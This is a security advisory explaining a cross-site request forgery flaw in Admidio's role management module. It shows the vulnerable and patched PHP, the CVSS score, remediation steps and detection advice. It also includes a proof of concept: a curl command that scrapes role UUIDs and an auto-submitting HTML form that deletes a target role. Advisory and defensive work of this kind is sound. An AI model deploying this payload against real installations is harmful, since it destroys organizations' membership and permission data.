GHSA-wwg8-6ffr-h4q2: Cross-Site Request Forgery in Admidio Role Management

Admidio is a free, open-source membership management system designed for clubs, organizations, and groups. The software includes a highly granular role-based access control (RBAC) mechanism where administrators can define roles, assign permissions, and associate members with specific organizational functions. The vulnerability resides within the core module responsible for handling these roles, specifically within the modules/groups-roles/groups_roles.php component.

The vulnerability is classified as a Cross-Site Request Forgery (CSRF) flaw. It occurs because the application fails to verify the presence or validity of an anti-CSRF token during specific state-changing requests. While the client-side user interface routinely includes a CSRF token within its AJAX payloads, the server-side receiving endpoint ignores this parameter for a subset of critical operations.

To exploit this flaw, an attacker must target an authenticated user who possesses the rol_assign_roles permission, such as a Chapter Secretary or Volunteer Coordinator. The attacker must then convince this victim to interact with a malicious web page controlled by the attacker. Upon interaction, the victim's browser automatically submits a forged request to the Admidio instance, executing the action under the context of the victim's authenticated session.

The successful exploitation of this vulnerability results in unauthorized state changes to the organization's role structure. Depending on the targeted endpoint, the attacker can force the activation, deactivation, or permanent deletion of specific organizational roles. The impact is limited to data integrity, as the attacker cannot extract data or execute arbitrary code on the underlying server.

The root cause of the vulnerability is an incomplete implementation of CSRF token validation across all operational branches within the modules/groups-roles/groups_roles.php handler. The application utilizes a switch-case statement to route incoming requests based on a mode parameter provided in the HTTP request. The handler processes various modes, including save, delete, activate, and deactivate.

Within the save mode, the developer correctly implemented CSRF protection by explicitly invoking the token validation function before processing the request. However, this critical security check was omitted from the case blocks handling the delete, activate, and deactivate operations. When a request specifies one of these vulnerable modes, the application proceeds directly to executing the corresponding database operations without verifying the request's origin.

The application does perform input validation on the role_uuid parameter, ensuring that the supplied value conforms to a valid UUID format. While this validation successfully mitigates SQL injection risks by preventing the processing of malformed data, it provides no defense against CSRF. The UUID validation only verifies the data type, not the authorization or intent behind the request submission.

Because the underlying session relies on standard browser cookies for authentication, any HTTP request dispatched to the Admidio instance via the victim's browser will automatically include the required session identifiers. The absence of a unique, unpredictable, and validated anti-CSRF token allows the application to process these state-changing requests regardless of whether they originated from the legitimate Admidio interface or a third-party site.

The vulnerability exists in the switch-case structure of modules/groups-roles/groups_roles.php. In versions prior to 5.0.7, the handler processes the delete operation by instantiating a new Role object, reading the role data via the provided UUID, and directly executing the delete() method. The code lacks any call to the security utility class.

// Vulnerable implementation in Admidio < 5.0.7
case 'delete':
    // delete role from database
    $role = new Role($gDb);
    $role->readDataByUuid($getRoleUUID);
    if ($role->delete()) {
        echo json_encode(array('status' => 'success'));
    }
    break;

The activate and deactivate operations exhibit the exact same structural flaw. They perform database lookups using the unsanitized (from a CSRF perspective) request and execute state-changing methods ($role->activate() and $role->deactivate()) immediately.

The remediation introduced in version 5.0.7 explicitly adds the SecurityUtils::validateCsrfToken() method call at the beginning of each vulnerable case block. This utility function verifies that the adm_csrf_token POST parameter matches the token stored in the user's active session. If the token is missing or invalid, the application terminates the request before executing the database operation.

// Patched implementation in Admidio 5.0.7
case 'delete':
    SecurityUtils::validateCsrfToken($_POST['adm_csrf_token']);
    
    // delete role from database
    $role = new Role($gDb);
    $role->readDataByUuid($getRoleUUID);
    if ($role->delete()) {
        echo json_encode(array('status' => 'success'));
    }
    break;

The exploitation process requires the attacker to execute a three-step methodology: reconnaissance, payload crafting, and payload delivery. During the reconnaissance phase, the attacker must identify the Universally Unique Identifier (UUID) of the target role they intend to modify or delete. If the organization's member or role cards are publicly accessible, the attacker can extract these UUIDs directly from the HTML source code of the mode=cards view, where they are embedded as element IDs.

# Reconnaissance step to extract role UUIDs from public endpoints
curl -s "https://admidio.local/adm_program/modules/groups-roles/groups_roles.php?mode=cards" | grep -oP 'id="role_\K[^"]+'

Once the attacker secures the target UUID, they construct a malicious HTML payload designed to auto-submit an HTTP POST request to the vulnerable endpoint. The payload utilizes a hidden HTML form that targets the delete mode and includes the targeted role_uuid. Because the server does not enforce validation on the adm_csrf_token parameter, the attacker completely omits it from the payload structure.

<!DOCTYPE html>
<html>
<head><title>Loading...</title></head>
<body onload="document.getElementById('exploitForm').submit()">
  <form id="exploitForm" method="POST" 
        action="https://admidio.local/adm_program/modules/groups-roles/groups_roles.php?mode=delete&role_uuid=TARGET-UUID-HERE">
    <!-- The malicious payload auto-submits upon rendering -->
  </form>
</body>
</html>

The final phase involves payload delivery via social engineering. The attacker hosts the malicious HTML document on an external server and sends the link to a targeted administrator. When the administrator visits the page, their browser executes the JavaScript onload event, submitting the POST request along with their active Admidio session cookies. The Admidio server processes the request, authenticates the user via the cookies, and executes the deletion command.

The security impact of this vulnerability is strictly categorized as an integrity failure. The attacker does not gain read access to the database, nor can they alter the execution flow of the application to achieve remote code execution. However, the integrity impact is high because the unauthorized actions cause permanent and cascading structural changes to the organization's data.

When a role is deleted via the $role->delete() function, the application executes a series of SQL DELETE operations across multiple database tables. This process permanently removes the core role record and irrevocably strips all associated memberships. Any user previously assigned to that role immediately loses the associated permissions and access rights.

Furthermore, the deletion operation initiates cascading disassociations within the application's event management system. Any events, schedules, or announcements explicitly linked to the deleted role are orphaned. Restoring the system requires the administrator to manually recreate the role, manually reassign every previous member, and meticulously reconstruct the access control rules and event associations from backups.

The CVSS v3.1 vector is CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:U/C:N/I:H/A:N, resulting in a base score of 5.7 (Medium). The requirement for a low-privileged user (the victim must have specific role assignment rights) and the strict necessity for user interaction (clicking the link) mitigate the severity score. The availability metric remains 'None' because the application itself continues to function normally, despite the localized data loss.

The primary remediation strategy is to upgrade the Admidio installation to version 5.0.7 or later. The development team has formally addressed the vulnerability in this release by implementing explicit CSRF token validation across all operational modes within the role management handler. Administrators should apply this patch during the next available maintenance window.

If immediate patching is not technically feasible due to operational constraints, administrators can manually apply the fix to the source code. This involves editing the modules/groups-roles/groups_roles.php file and inserting SecurityUtils::validateCsrfToken($_POST['adm_csrf_token']); at the beginning of the delete, activate, and deactivate case blocks. This manual intervention mirrors the official patch and effectively neutralizes the vulnerability.

To detect potential exploitation attempts, security teams should review web server access logs. Defenders should look for HTTP POST requests directed at modules/groups-roles/groups_roles.php containing the mode=delete, mode=activate, or mode=deactivate parameters. Requests that originate from unexpected or external Referer headers, or those that occur without a preceding logical sequence of administrative navigation, warrant immediate investigation.